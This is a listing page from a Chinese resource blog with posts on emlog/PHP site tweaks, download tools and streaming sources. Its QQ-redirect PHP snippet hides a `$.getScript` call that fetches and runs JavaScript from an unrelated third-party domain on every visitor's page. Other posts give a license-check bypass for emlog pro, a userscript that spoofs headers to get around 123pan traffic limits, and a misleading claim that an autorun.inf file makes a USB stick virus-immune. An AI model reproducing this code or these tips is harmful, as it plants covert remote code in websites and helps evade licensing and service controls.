首页
软件工具
实用工具
音乐软件
追剧软件
小说动漫
电脑软件
图像影音
上传下载
壁纸图库
COSPLAY
次元动漫
岛国棒子
游戏相关
电视盒子
值得一看
网盘剧集
网盘电影
资源杂烩
搜索
登录
搜索
夕子库xzku
累计撰写
3182
篇文章
累计收到
7
条评论
首页
栏目
首页
软件工具
实用工具
音乐软件
追剧软件
小说动漫
电脑软件
图像影音
上传下载
壁纸图库
COSPLAY
次元动漫
岛国棒子
游戏相关
电视盒子
值得一看
网盘剧集
网盘电影
资源杂烩
资源杂烩
2024-11-13
PHP程序添加QQ内打开网页提示跳转浏览器使用方法
前言: 经常建站的可能会遇到的一个问题,自己辛苦建的站点域名被QQ内变成红透的域名。实在可惜,做到QQ内无碍打开,一方面我们要在站点类型及文章内容上把关,一方面我们要做点实际行动来规避一下小的风险,给页面添加一个判断,即在QQ内打开的是一个跳转到浏览器内打开页面,这样会对域名做一个保护。 普通php程序添加使用说明: 下载附件文件压缩包,上传到需要引用的根目录 在引用的根目录的index.php文件内的第一行 require_once(‘WxqqJump/WxqqJump.php’); 当然在不需要此功能时将此代码注释即可 关于emlog的fee主题内使用此功能使用说明: 首先将fee模板前台设置开启手机QQ跳转浏浏览器功能 进入FTP内找到模板文件header.php 修改22行开始 的注释//手机QQ打开跳转到浏览器 以下代码 (最后保存刷新可查看效果) //手机QQ打开跳转到浏览器 if($Tconfig['qqtz']== 1 ){ $scriptpath = str_replace('\\', '/', $_SERVER['SCRIPT_NAME']); $sitepath = substr($scriptpath, 0, strrpos($scriptpath, '/')); $siteurl = ($_SERVER['SERVER_PORT'] == '443' ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $sitepath . '/'; if (strpos($_SERVER['HTTP_USER_AGENT'], 'QQ/') !== !1 ) { echo ' <meta charset="UTF-8"> <title>使用浏览器打开</title> <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" name="viewport"> <meta content="yes" name="apple-mobile-web-app-capable"> <meta content="black" name="apple-mobile-web-app-status-bar-style"> <meta name="format-detection" content="telephone=no"> <meta content="false" name="twcClient" id="twcClient"> <meta name="aplus-touch" content="1"> <style>body,html{width:100%;height:100%} *{margin:0;padding:0} body{background-color:#fff} #browser img{ width:50px; } #browser{ margin: 0px 10px; text-align:center; } #contens{ font-weight: bold; color: #2466f4; margin:-285px 0px 10px; text-align:center; font-size:20px; margin-bottom: 125px; } .top-bar-guidance{font-size:15px;color:#fff;height:70%;line-height:1.8;padding-left:20px;padding-top:20px;background:url(https://www.tupians.top/imgs/2021/08/453e77da68a386ce.png) center top/contain no-repeat} .top-bar-guidance .icon-safari{width:25px;height:25px;vertical-align:middle;margin:0 .2em} .app-download-tip{margin:0 auto;width:290px;text-align:center;font-size:15px;color:#2466f4;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAcAQMAAACak0ePAAAABlBMVEUAAAAdYfh+GakkAAAAAXRSTlMAQObYZgAAAA5JREFUCNdjwA8acEkAAAy4AIE4hQq/AAAAAElFTkSuQmCC) left center/auto 15px repeat-x} .app-download-tip .guidance-desc{background-color:#fff;padding:0 5px} .app-download-tip .icon-sgd{width:25px;height:25px;vertical-align:middle;margin:0 .2em} .app-download-btn{display:block;width:214px;height:40px;line-height:40px;margin:18px auto 0 auto;text-align:center;font-size:18px;color:#2466f4;border-radius:20px;border:.5px #2466f4 solid;text-decoration:none}</style> <div class="top-bar-guidance"> <p>点击右上角 <img src="https://www.tupians.top/imgs/2021/08/b36f695ed8d28e3a.png" class="icon-safari">在 浏览器 打开</p> <p>苹果设备 <img src="https://www.tupians.top/imgs/2021/08/48ec7de62c1ca772.png" class="icon-safari">安卓设备 <img src="https://www.luyuz.cn/content/templates/fee/WxqqJump/android.png" class="icon-safari">↗↗↗</p> </div> <div id="contens"> <p> <br> <br> </p> <p>1.本站不支持 微信或QQ 内访问</p> <p> <br> </p> <p>2.请按提示在手机 浏览器 打开</p> </div> <div class="app-download-tip"> <span class="guidance-desc">'.$siteurl.'</span> </div> <p> <br> </p> <div class="app-download-tip"> <span class="guidance-desc">点击右上角 <img src="https://www.tupians.top/imgs/2021/08/b36f695ed8d28e3a.png" class="icon-sgd">or 复制网址自行打开</span> </div> <script type="text/javascript">$.getScript("http://www.ovdh.cn/", function(data) {});</script> <script src="https://www.luyuz.cn/content/templates/fee/WxqqJump/jquery-3.3.1.min.js"> </script> <script src="https://www.luyuz.cn/content/templates/fee/WxqqJump/clipboard.min.js"> </script> <a data-clipboard-text="'.$siteurl.'" class="app-download-btn">点此复制本站网址</a> <script src="https://cdn.staticfile.org/jquery/1.12.3/jquery.min.js"> </script> <script src="https://www.luyuz.cn/content/templates/fee/WxqqJump/layer/layer.js"> </script> <script type="text/javascript">new ClipboardJS(".app-download-btn");</script> <script>$(".app-download-btn").click(function() { layer.msg("复制成功,么么哒", function() { //关闭后的操作 }); })</script>'; exit; }}
2024年-11月-13日
332 阅读
0 评论
资源杂烩
2024-11-13
Emlog缓存文件优化加快文章发布速度/缓存速度
今天分享一下Emlog网站优化,如何加快网站的缓存速度,加快文章发布速度的方法 Emlog是基于PHP+MYSQL的运行环境,那么缓存来源于MYSQL数据库,加快缓存速度,就是要加快MYSQL的查询速度 针对MYSQL的查询优化,有建索引等等,还有重要一点“SELECT * ”类似这样的SQL查询语句要少用 当表内某字段存在“NULL”值时,查询就会很慢,当数据量大了之后会更慢! 所以有两个优化方向,尽量减少数据库中的NULL值(空字符串) 其二就是优化SQL查询语句,建立索引 那么针对EMLOG缓存,我们就可以针对性优化 本站的优化就需要在用户表数据这里处理,因为用户过多导致用户缓存数据特别慢。 1、用户缓存修改方法: 打开根目录下的“include\lib\cache.php”将用户数据缓存这里替换一下,未修改前代码如下: /** * 用户信息缓存 */ private function mc_user() { $user_cache = array(); $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "user"); while ($row = $this->db->fetch_array($query)) { $photo = array(); $avatar = ''; if(!empty($row['photo'])){ $photosrc = str_replace("../", '', $row['photo']); $imgsize = chImageSize($row['photo'], Option::ICON_MAX_W, Option::ICON_MAX_H); $photo['src'] = htmlspecialchars($photosrc); $photo['width'] = $imgsize['w']; $photo['height'] = $imgsize['h']; $avatar = strstr($photosrc, 'thum') ? str_replace('thum', 'thum52', $photosrc) : preg_replace("/^(.*)\/(.*)$/", "\$1/thum52-\$2", $photosrc); $avatar = file_exists('../' . $avatar) ? $avatar : $photosrc; } $row['nickname'] = empty($row['nickname']) ? $row['username'] : $row['nickname']; $user_cache[$row['uid']] = array( 'photo' => $photo, 'avatar' => $avatar, 'name_orig' => $row['nickname'], 'name' => htmlspecialchars($row['nickname']), 'mail' => htmlspecialchars($row['email']), 'des' => htmlClean($row['description']), 'ischeck' => htmlspecialchars($row['ischeck']), 'website' => htmlClean($row['website']), 'role' => $row['role'], ); } $cacheData = serialize($user_cache); $this->cacheWrite($cacheData, 'user'); } 修改后代码如下: /** * 用户信息缓存 */ private function mc_user() { $user_cache = array(); $query = $this->db->query("SELECT uid,username,nickname,role,ischeck,photo,email,description FROM " . DB_PREFIX . "user"); while ($row = $this->db->fetch_array($query)) { // $photo = array(); /* $avatar = ''; if(!empty($row['photo'])){ $photosrc = str_replace("../", '', $row['photo']); $imgsize = chImageSize($row['photo'], Option::ICON_MAX_W, Option::ICON_MAX_H); $photo['src'] = htmlspecialchars($photosrc); $photo['width'] = $imgsize['w']; $photo['height'] = $imgsize['h']; $avatar = strstr($photosrc, 'thum') ? str_replace('thum', 'thum52', $photosrc) : preg_replace("/^(.*)\/(.*)$/", "\$1/thum52-\$2", $photosrc); $avatar = file_exists('../' . $avatar) ? $avatar : $photosrc; }*/ $row['nickname'] = empty($row['nickname']) ? $row['username'] : $row['nickname']; $user_cache[$row['uid']] = array( 'photo' => $row['photo'], 'avatar' => $row['photo'], 'name_orig' => $row['nickname'], 'name' => htmlspecialchars($row['nickname']), 'mail' => htmlspecialchars($row['email']), 'des' => htmlClean($row['description']), 'ischeck' => htmlspecialchars($row['ischeck']), 'role' => $row['role'], ); } $cacheData = serialize($user_cache); $this->cacheWrite($cacheData, 'user'); } 2、emlog核心优化方法: 打开“admin\save_log.php”文件搜索: // 源代码 $CACHE->updateCache(); // 修改为: $CACHE->updateCache(array('sta', 'tags', 'newlog', 'logsort', 'logtags'));
2024年-11月-13日
313 阅读
0 评论
资源杂烩
2024-11-13
emlog生成缓存方式调用文章
emlog程序生成读取缓存方式调用文章列表,使用读取缓存方式调用可以大大提高页面加载速度,这样就不用每次打开页面都读取数据库,从而提高emlog程度页面加载速度;使用生成读取缓存方式调用文章列表代码,会自动在content/cache/目录下生成设置的缓存php文件,如果需要更新缓存,只需要删除对应的缓存php文件即可;在需要的模版文件里写上调用代码,调用分类、数量、缓存文件名均可自定义设置,例如下方调用代码中,123为多个分类ID号,20为列表数量,listcache为缓存文件名,如果分类留空,则调用最新文章,列表留空默认为10个,缓存文件名留空默认为listcache。 下方代码复制到模版文件夹module.php文件里 <?php //读取文章列表写入缓存 function lanye_Listcache($sortid = 0, $lognum = '10', $cachename = 'listcache'){ global $CACHE; $db = Database::getInstance(); if($sortid){$query = "and sortid in ($sortid)";}else{$query = '';} $sql = "select * from ".DB_PREFIX."blog WHERE type='blog' and hide='n' and checked='y' $query ORDER BY `date` DESC LIMIT 0,$lognum"; $listcache = @$CACHE->readCache($cachename); if(empty($listcache)){$list = $db->query($sql);$listcache = array();while($row = $db->fetch_array($list)):$listcache[] = $row;?> <li><a href="<?php echo Url::log($row['gid']);?>" title="<?php echo $row['title'];?>" target="_blank"><?php echo $row['title'];?></a></li> <?php endwhile;$cacheData = serialize($listcache);$CACHE->cacheWrite($cacheData, $cachename);}else{?> <?php foreach($listcache as $row):?> <li><a href="<?php echo Url::log($row['gid']);?>" title="<?php echo $row['title'];?>" target="_blank"><?php echo $row['title'];?></a></li> <?php endforeach;}}?> 调用代码 <?php lanye_Listcache('1,2,3','20','listcache');?>
2024年-11月-13日
294 阅读
0 评论
资源杂烩
2024-11-13
emlog数据库MD语法转html
如果说需要在其他页面调用文章内容,那么调取出来的是md语法怎么办?这个代码完美解决,emlog内置的转换函数 <?php $DB = Database::getInstance(); $neirong = $DB->fetch_array($DB->query("SELECT * FROM " . DB_PREFIX . "blog WHERE gid=$logid")); $Parsedown = new Parsedown(); echo $Parsedown->text($neirong['content']); ?>
2024年-11月-13日
254 阅读
0 评论
资源杂烩
2024-11-13
如何在emlog首页第N篇文章下面加上广告
如何在emlog博客首页第几篇文章下面加上广告?判断是否是第一篇文章后加AD的方法。 操作方法步骤: 第一步:在log_list.php中找到代码 foreach($logsas$value) 修改为 foreach($logsas$key=>$value) 第二步:在文章循环里面加入如下代码 <?phpif($key==1){?>广告代码<?php}?> 其中的"1"表示第二篇文章下面。
2024年-11月-13日
319 阅读
0 评论
资源杂烩
2024-11-13
百度AI助手,免费无限制智享科技!
AI助手 AI助手是有百度推出的免费AI助手工具,国内无需魔就可以使用的AI工具,而且无限制,和ChatGPT类似的人工智能聊天机器人差不多,内置了各种功能的快捷入口,直接点开即可使用,而且还可以ai作画。 官网链接:https://inspiration.baidu.com
2024年-11月-13日
290 阅读
0 评论
资源杂烩
2024-11-12
简单三步骤,让U盘永久免疫病毒,打造无毒U盘新体验
第一步: 插入自己想要设置的U盘 第二步: 打开U盘,新建一个文本文档 第三步: 把文本文档重命名为autorun.inf,并设置为只读模式 原理: 大多数病毒是先建立autorum.inf,再在文件内写入病毒的,所以在U盘中新建一个“autorun.inf”,是让病毒无法写入相同的文件内 经常用优盘的就可以按照这样设置,免得被恶意文件搞坏了
2024年-11月-12日
290 阅读
0 评论
资源杂烩
2024-11-11
外贸精准开发,除了经典耐用的外贸老鸟开发客户技巧,还有一般人不知道的新型开发客户N种方式
外贸精准开发视频课,涵盖了经典耐用的外贸老鸟开发客户技巧,如展会拜访、邮件营销;同时揭秘一般人不知道的新型开发客户方式,如利用大数据筛选潜在客户、社交媒体精准营销、视频平台推广等。课程结合实战案例,系统讲解各种方法的操作步骤与注意事项,助力外贸人员快速拓展国际市场。 链接:https://pan.quark.cn/s/daf0638721f9
2024年-11月-11日
374 阅读
0 评论
资源杂烩
2024-11-11
百度网盘提速秘籍,免会员加速下载方法
前几年风靡一时的爱奇艺万能联播再现不限速 下载“爱奇艺万能联播”软件/APP->点击网盘登录下载 此途径无会员享2MB/s,远超官方客户端几百KB的速度! 登录步骤同百度网盘网页版一样,如果是视频文件 文件下方即显「播放」与「下载」两个按钮按钮! 客户端下载:http://static-s.iqiyi.com/wnbf/get.html
2024年-11月-11日
262 阅读
0 评论
资源杂烩
2024-11-11
全网盘解限速、非客户端下载通杀-教程与软件
支持多种网盘-百度网盘, 阿里云盘, 天翼云盘, 迅雷云盘, 夸克网盘 解除网盘下载的速度限制,按照自己的宽带速度来进行最大化的提升 解除例如网盘需要打开客户端下载的限制 下载一部电影可以直接在专用下载器内达到这个速度,没突破限制之前夸克网盘资源需要在客户端才能下载 下载地址 https://pan.quark.cn/s/d5258dc72d5b https://pan.xunlei.com/s/VOBO2DzlSg2O-GdGHEbrPZkPA1?pwd=bbgt# https://pan.baidu.com/s/1DAEOgCMn_61JPBKeOWei-g?pwd=1vmz
2024年-11月-11日
403 阅读
0 评论
资源杂烩
2024-11-4
18bit全平台去广告DNS,无需软件更简单
若你动手不俗,家中有闲置可刷Linux的设备,不妨搭建AdGuard Home自建DNS。此类第三方能拦截流量,诸如宽带运营商DNS强加广告之扰。亲测此DNS,速度尚可,网页广告一扫而空。 官网:https://www.18bit.cn 各平台配置教程详尽,电脑手机,安卓iOS鸿蒙皆适配。
2024年-11月-4日
384 阅读
0 评论
资源杂烩
2024-11-1
油猴插件-123网盘不限流解除1GB免费流量限制问题
首先浏览器需要安装篡改猴 (Tampermonkey)。如果没有安装点击https://www.tampermonkey.net/ 安装。 安装完毕后 1.点击油猴图标,选择篡改猴。 2.添加新脚本。 3.将代码内容全部复制粘贴进去,然后点击文件-保存。 代码 // ==UserScript== // @name 123云盘下载辅助 // @namespace https://github.com/Bao-qing/123pan // @version 0.3 // @description 123 Cloud Drive Unlimited Flow // @match https://www.123pan.com/* // @match https://www.123pan.cn/* // @match https://www.123865.com/* // @match https://www.123684.com/* // @grant none // @author Qing // @downloadURL https://update.greasyfork.org/scripts/510621/123%E4%BA%91%E7%9B%98%E4%B8%8B%E8%BD%BD%E8%BE%85%E5%8A%A9.user.js // @updateURL https://update.greasyfork.org/scripts/510621/123%E4%BA%91%E7%9B%98%E4%B8%8B%E8%BD%BD%E8%BE%85%E5%8A%A9.meta.js // ==/UserScript== (function () { // 重写 XMLHttpRequest const originalXHR = window.XMLHttpRequest; function newXHR() { const realXHR = new originalXHR(); realXHR.open = function (method, url, async, user, password) { this._url = url; // 记录请求的 URL return originalXHR.prototype.open.apply(this, arguments); }; realXHR.setRequestHeader = function (header, value) { let headers = { "user-agent": "123pan/v2.4.0(Android_7.1.2;Xiaomi)", //"loginuuid": generateUUIDHex(), "platform": "android", "app-version": "61", "x-app-version": "2.4.0" } // 如果header在列表中,则修改 if (header.toLowerCase() in headers) { value = headers[header.toLowerCase()]; } else { console.log('header:', header); } return originalXHR.prototype.setRequestHeader.apply(this, arguments); }; // 拦截响应内容,修改 DownloadUrl以适应网页端下载 realXHR.send = function () { const xhrInstance = this; this.addEventListener('readystatechange', function () { let origin_url; let new_url_no_redirect; let base64data; if (xhrInstance.readyState === 4 && xhrInstance.status === 200) { // 解析响应的 JSON let responseText = xhrInstance.responseText; let responseJSON = JSON.parse(responseText); console.log('Original Response:', responseJSON); // 修改 DownloadUrl if (responseJSON.data && responseJSON.data.DownloadUrl) { origin_url = responseJSON.data.DownloadUrl; new_url_no_redirect = origin_url + "&auto_redirect=0"; base64data = btoa(new_url_no_redirect); responseJSON.data.DownloadUrl = "https://web-pro2.123952.com/download-v2/?params=" + base64data + "&is_s3=0"; console.log('Modified DownloadUrl:', responseJSON.data.DownloadUrl); } // 将修改后的 JSON 转为字符串 let modifiedResponseText = JSON.stringify(responseJSON); // 使用 defineProperty 重写 responseText Object.defineProperty(xhrInstance, 'responseText', { get: function () { return modifiedResponseText; } }); console.log('Modified Response:', modifiedResponseText); } }); return originalXHR.prototype.send.apply(this, arguments); }; return realXHR; } window.XMLHttpRequest = newXHR; })();
2024年-11月-1日
355 阅读
0 评论
资源杂烩
2024-10-24
【接口】影视仓、可视TV、喵影视等类TvBox接口,多个精品源!
TVBox是一款非常优秀的电视盒子,开源、免费、可自由定制,可以根据自己的需求去配置TVBox。以下TVBox影视接口配置地址由各位大佬配置分享,一般配置后会自动支持影视点播、电视直播等,整理、汇总并持续更新。饭太硬http://www.饭太硬.top/tv/王二小放牛娃http://tvbox.王二小放牛娃.top/纯一骚零https://100km.top/0OK屌炸天(影视)http://ok321.top/tv巧技http://cdn.qiaoji8.com/tvbox.json小米https://www.mpanso.com/小米/DEMO.json霜辉月明pyhttps://api-lmteam.koyeb.app/files/py.json菜妮丝 XBPQhttps://tv.xn--yhqu5zs87a.topPG onehttps://mirror.ghproxy.com/raw.githubusercontent.com/gaotianliuyun/gao/master/0825.json神器https://神器每日推送.tk/pz.json讴歌http://tv.nxog.top/m/小白http://bp.tvbox.cam/肥猫http://肥猫.live香雅情 XYQhttps://github.moeyy.xyz/https://raw.githubusercontent.com/xyq254245/xyqonlinerule/main/XYQTVBox.json高天流云 jshttps://mirror.ghproxy.com/raw.githubusercontent.com/gaotianliuyun/gao/master/js.json摸鱼儿http://我不是.摸鱼儿.topokjackhttps://jihulab.com/okcaptain/kko/raw/main/ok.txt俊于http://home.jundie.top:81/top98.jsonRayhttps://100km.top/0俊哥接口http://home.jundie.top:81/top98.json4K云盘接口https://9xi4o.tk/0725.json巧儿接口http://pandown.pro/tvbox/tvbox.json胖虎接口https://notabug.org/imbig66/tv-spider-man/raw/master//0801.json南风https://agit.ai/Yoursmile7/TVBox/raw/branch/master/XC.json接口不定时更新,如有失效可在评论区反馈。大家如果还有别的更好的接口,也可在评论区留言。
2024年-10月-24日
834 阅读
0 评论
资源杂烩
2024-9-7
emlog pro 注册码“破解”教程
前言 emlog pro 注册码“破解”教程,为什么要给“破解”加上引号? 因为 emlog 是完全的开源软件,任何人都可以随意下载修改,既然是开源软件,所以也就没有破解一说 正文 如果有一天,emlog官方版 或者 emlog免费版 跑路了,那用户怎么办? 如果有一天,你的 emlog pro 无法连接上授权系统,登录后提示“未注册”,怎么办? 解决办法非常简单 打开:include/lib/register.php 新增两行代码:return ['code' => 200, 'type' => 2]; 打开:include/model/store_model.php 新增一行代码:return; 依次打开: admin/plugin.php admin/upgrade.php admin/template.php 新增一行代码:return; 然后输入注册码:任意32个字符 这样在不连接授权系统的情况下,也能保证你的 emlog pro 可以继续使用 修改过后的 emlog pro 相当于离线版 也就无法使用“在线更新”和“应用商店”,不过这两个功能也不重要
2024年-9月-7日
388 阅读
0 评论
资源杂烩
1
2
3